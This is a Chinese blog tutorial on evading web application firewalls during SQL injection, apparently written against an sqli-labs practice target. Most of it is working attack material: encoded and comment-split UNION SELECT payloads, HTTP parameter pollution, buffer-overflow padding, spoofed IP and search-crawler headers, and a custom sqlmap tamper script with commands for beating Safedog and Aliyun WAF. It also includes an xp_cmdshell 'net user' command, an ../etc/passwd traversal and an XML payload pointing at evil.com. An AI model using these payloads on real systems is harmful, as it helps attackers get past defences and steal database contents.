首页 > 数据库 >SQL注入-waf绕过

SQL注入-waf绕过

时间:2023-02-04 20:36:46浏览次数:54  
标签:http waf SQL 绕过 php retVal id select

SQL注入-waf绕过

WAF绕过-SQL注入.png

网络资源

https://www.cnblogs.com/cute-puli/p/11146625.html

https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html

WAF的常见特征

之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。

总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:

  • 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

  • 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

  • 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

  • WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

WAF的常见特点:

  • 异常检测协议:拒绝不符合HTTP标准的请求

  • 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证

  • 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题

  • 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

  • 状态管理:重点进行会话保护

  • 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器,WAF有其识别之道:

扫描器识别主要由以下几点:

绕过WAF的方法

从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧

  • 大小写混合

    大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

    举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

    示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

  • 替换关键字

    这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

    举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

    同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

  • 使用编码

    1.URL编码

    在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

    1.12.250.218:100/Less-2/?id=1 union%23a%0Aselect 1,2,3#
    

    这里相当于 %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句

    1.12.250.218:100/Less-2/?id=1 union#a
    select 1,2,3#
    

    1649163149580

    在数据库中

    mysql> select * from users where id=1 union #a            
        -> select 1,2,3;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    |  1 | 2        | 3        |
    +----+----------+----------+
    2 rows in set (0.00 sec)
    

    普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:

    1.12.250.218:100/Less-2/?id=1 UNION%23a%0ASELECT 1,2,3#
    page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
    

    2.十六进制编码

    举例:

    z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    

    示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

    3.Unicode编码

    Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

    看一下常用的几个符号的一些Unicode编码:

    单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

    左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

    右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

    举例:?id=10%D6‘%20AND%201=2%23  

       SELECT 'Ä'='A'; #1

    两个示例中,前者利用双字节绕过,比如对单引号转义操作变成',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

    第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

    另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下

    常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子

  • 使用注释

    看一下常见的用于注释的符号有哪些:*//, -- , /**/, #, --+,-- -, ;

    1.普通注释

    举例:

    http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+
    

    /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语句的查询

    2.内联注释

    相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

    举例:

    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    ?page_id=null%0A/**//*****!50000%55nIOn*****//*****yoyu*****/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
    

    两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

  • 等价函数与命令

    有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

    1.函数或变量

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @[@user ]() ==> user() 
    @[@datadir ]() ==> datadir() 
    
    

    举例:substring()和substr()无法使用时:?

    id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    或者:substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 1
    strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1
    

    上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

    2.符号

    and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

    在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

    3.生僻函数

    MySQL/PostgreSQL支持XML函数:

    Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
    
    ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    
    SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
    
    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    
    

    MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

  • 特殊符号

    这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

    先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

    1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

    2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

    3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

    4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

    可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到

    本人搜罗了部分可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

    举例:

    关键字拆分:‘se’+’lec’+’t’

    %S%E%L%E%C%T 1

    1.aspx?d=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

    !和():' or --+2=- -!!!'2

    id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

    本节最后在给出一些和这些字符多少有点关系的操作符供参考:

    >>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

    使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

  • HTTP参数控制 (http参数污染)

    在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。

    以上图服务器为例假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

    1649165292160

    比如在php/apache中:

    1649165376324

    利用:

    mysql> /*!select database()*/;
    +------------+
    | database() |
    +------------+
    | security   |
    +------------+
    1 row in set (0.00 sec)
    
    访问:xxx:xxx/?id=1/**&id=-1 union select 1,2,3#*/ 
    	 xxx:xxx/?id=1/**&id=-1%20union%20select%201,2,3%23*/ 
    

    1649165601556

    这个语句在mysql中可以正常执行

    mysql> select * from users where id=1/**id=-1 union select 1,2,3#*/;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    

    在游览器中这里是php页面所以接受的是后面的 id=-1 union select 1,2,3

    安全狗这里接收到

    /**&id=-1 union select 1,2,3#*/ 			/** */ :相当注释符 内联注释
    mysql> /**select dababase()*/;
    ERROR: 
    No query specified
    这里提示没有执行语句 安全狗对这个没有执行语句没有拦截,而游览器接收到真实的数据:
    -1 union select 1,2,3#*/ 进行注入
    
  • 缓冲区溢出

    缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

    举例:

    ?id=1 and (select 1)=(elect 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    

    示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

  • 整合绕过

    整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

    举例:

    z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
    
    ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  
    

案例演示

  • 简要其他绕过方式学习
  • FUZZ绕过脚本结合编写测试
  • 阿里云盾防SQL注入简要分析
  • 安全狗+云盾SQL注入插件脚本编写
%23x%20union%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3
%20/*!44509union*/%23x%0aselect%201,1,2,3
这个/*!44509union*/是mysql数据库的特性:表示数据库版本在4.4.509以上的话就可以被执行。而waf会略过

id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。需要条件比较苛刻

测试方法:修改http的header来bypass waf

x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。现在一般都会拦截

http://10.s.9.201/sql.php ?id=1
http://10.9.9.201/sql.php/1.js=?id=1

备注: aapx/php只识别到前面的.aspx/ .php后面基本不识

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:

http://10.s.s.201/=ql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.s.201/../../../manage/../sql.asp?id=2

waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=../etc/passwcl绕过防御规则。

方式四:爬虫白名单

在爬虫脚本的请求头中加入官方爬虫比如百度爬虫等白名单的header,waf就不会对你的ip进行封禁

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

搜索引擎蜘蛛爬虫 User Agent 一览

https://blog.csdn.net/liuxl57805678/article/details/89378720

1649229125686

SQLmap tamper

https://www.cnblogs.com/junsec/p/11607603.html

在tamper文件夹中创建rdog.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
        retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
        retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
        retVal = retVal.replace('USER()', 'usEr/*!(*/)')
        retVal = retVal.replace(' ', '/**/')
        retVal = retVal.replace(" ", '%23a%0a')
        retVal = retVal.replace('OR', '/*!14400Or*/')
        retVal = retVal.replace('AND', '/*!14400aNd*/')

    return retVal

img

可以看到的是代码并没有按照我们预期执行,我们添加代理看看到底是个什么情况

python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888启动burp

1649230900950

可以看到user-agent是sqlmap/1.5.6.4#dev (http://sqlmap.org),安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行

python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-angent 加上--random-angent 这个是在sqlmap的游览器头储存文件中随机取一个

1649231037771

备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理,爬虫白名单

搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720

自定义user-agent

python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1"  --tamper=rdog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

延时注入

--delay 时间(默认为秒)

C:\Users\admin\Desktop\security\software\sqlmapproject-sqlmap-7c41967>python sqlmap.py -u "http://1.12.250.218/Less-2/?id=1"  --tamper=rdog.py --proxy=http://127.0.0.1:8888 --delay 1
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.6.4#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:28:14 /2021-07-27/

[17:28:16] [INFO] loading tamper module 'rdog'

标签:http,waf,SQL,绕过,php,retVal,id,select
From: https://www.cnblogs.com/crabin/p/17092307.html

相关文章

  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......
  • SQL注入
    SQL注入简单Sqli-labs/Less-2演示信息收集我们使用ubantu搭建Sqli-labs靶场安装:参考博客https://blog.csdn.net/han123456o/article/details/107822333确定注入源:......
  • SQL注入- 堆叠注入
    SQL注入-堆叠注入1.堆叠查询注入​ stackedinjections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mys......
  • SQLMAP使用
    sqlmap使用教程-u指定目标URL(可以是http协议也可以是https协议)-d连接数据库--dbs列出所有的数据库--current-db列出当前数据库--tables列出当前的表--column......
  • SQLGetShell
    SQLGetShell利用sql注入来上传我们的木马后门,连接得到服务器shell确定注入点得到网站目录user='andupdatexml(1,concat(0x7e,@@basedir,0x7e),0)--+&password=asdf&......
  • Qt中QSqlQueryModel对应的表格进行自动排序功能
    Qt中使用了自己的机制来避免使用SQL语句,为我们提供了更简单的数据库操作及数据显示模型,分别是只读的QSqlQueryModel,操作单表的QSqlTableModel和以及可以支持外键的QSqlRela......
  • P3基础篇-02.初识Redis-认识NoSQL
    Sql和NoSql的区别SQL(StructuredQueryLanguage):关系型数据库NoSql(NoStructuredQueryLanguage):非关系性数据库常见NoSql数据库:键值型数据库(Redis)文档型数据......
  • 《SQL基础》09. 事务
    目录事务简介操作方式一方式二四大特性(ACID)并发事务问题事务隔离级别事务简介事务是一组操作的集合,它是一个不可分割的工作单位。事务会把所有的操作作为一个整体一起......
  • 为若依逆向工程创建mysql视图
    createviewview_jin_xiao_cun2asSELECTa.jiezhuan_prod_codeasprod_code,a.jiezhuan_prod_nameasprod_name,IFNULL(b.jiezhuan_count,0)asqichu_count,IFNULL......
  • spring boot集成mybatis-plus——Mybatis Plus 打印 SQL 语句(包含执行耗时)
    MybatisPlus打印SQL语句(包含执行耗时) 更新时间2023-01-0817:03:24一、前言大家好,我是小哈。在《快速入门》 小节中,我们已经使用MybatisPlus对数据库进行了......